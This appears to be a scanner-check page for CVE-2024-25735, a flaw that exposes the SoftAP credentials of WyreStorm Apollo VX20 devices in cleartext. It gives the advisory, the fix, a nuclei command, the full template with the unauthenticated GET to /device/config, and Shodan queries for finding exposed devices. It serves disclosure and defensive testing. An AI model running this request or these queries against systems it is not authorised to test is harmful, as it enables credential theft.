WyreStorm Apollo VX20 - Information Disclosure

highseverity

50.6%likelihood of exploitation, next 30 days

99%of all CVEs are less likely

Readycheck to confirm it

An issue was discovered on WyreStorm Apollo VX20 devices before 1.3.58. Remote attackers can discover cleartext credentials for the SoftAP (access point) Router /device/config using an HTTP GET request.

Impact

Unauthenticated attackers can access cleartext credentials for the SoftAP Router via the /device/config endpoint.

Fix

Update WyreStorm Apollo VX20 to version 1.3.58 or later.

How to confirm it

Send: GET {{BaseURL}}/device/config
Positive when: contains "\"password\":" and "\"softAp\":" AND contains in header "application/json" AND status 200

Run it with nuclei: nuclei -id CVE-2024-25735 -u <target>

The full check

id: CVE-2024-25735

info:
  name: WyreStorm Apollo VX20 - Information Disclosure
  author: johnk3r
  severity: high
  description: |
    An issue was discovered on WyreStorm Apollo VX20 devices before 1.3.58. Remote attackers can discover cleartext credentials for the SoftAP (access point) Router /device/config using an HTTP GET request.
  impact: |
    Unauthenticated attackers can access cleartext credentials for the SoftAP Router via the /device/config endpoint.
  remediation: |
    Update WyreStorm Apollo VX20 to version 1.3.58 or later.
  reference:
    - https://hyp3rlinx.altervista.org/advisories/WYRESTORM_APOLLO_VX20_INCORRECT_ACCESS_CONTROL_CREDENTIALS_DISCLOSURE_CVE-2024-25735.txt
    - https://packetstormsecurity.com/files/cve/CVE-2024-25735
    - http://packetstormsecurity.com/files/177082
    - https://hyp3rlinx.altervista.org
    - https://github.com/codeb0ss/CVE-2024-25735-PoC
  classification:
    epss-score: 0.50622
    epss-percentile: 0.98928
  metadata:
    verified: true
    max-request: 1
    vendor: wyrestorm
    product: apollo vx20
    shodan-query:
      - ssl:"WyreStorm Apollo VX20"
      - ssl:"wyrestorm apollo vx20"
  tags: packetstorm,cve,cve2024,wyrestorm,info-leak,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/device/config"

    matchers-condition: and
    matchers:
      - type: word
        words:
          - '"password":'
          - '"softAp":'
        condition: and

      - type: word
        part: header
        words:
          - 'application/json'

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from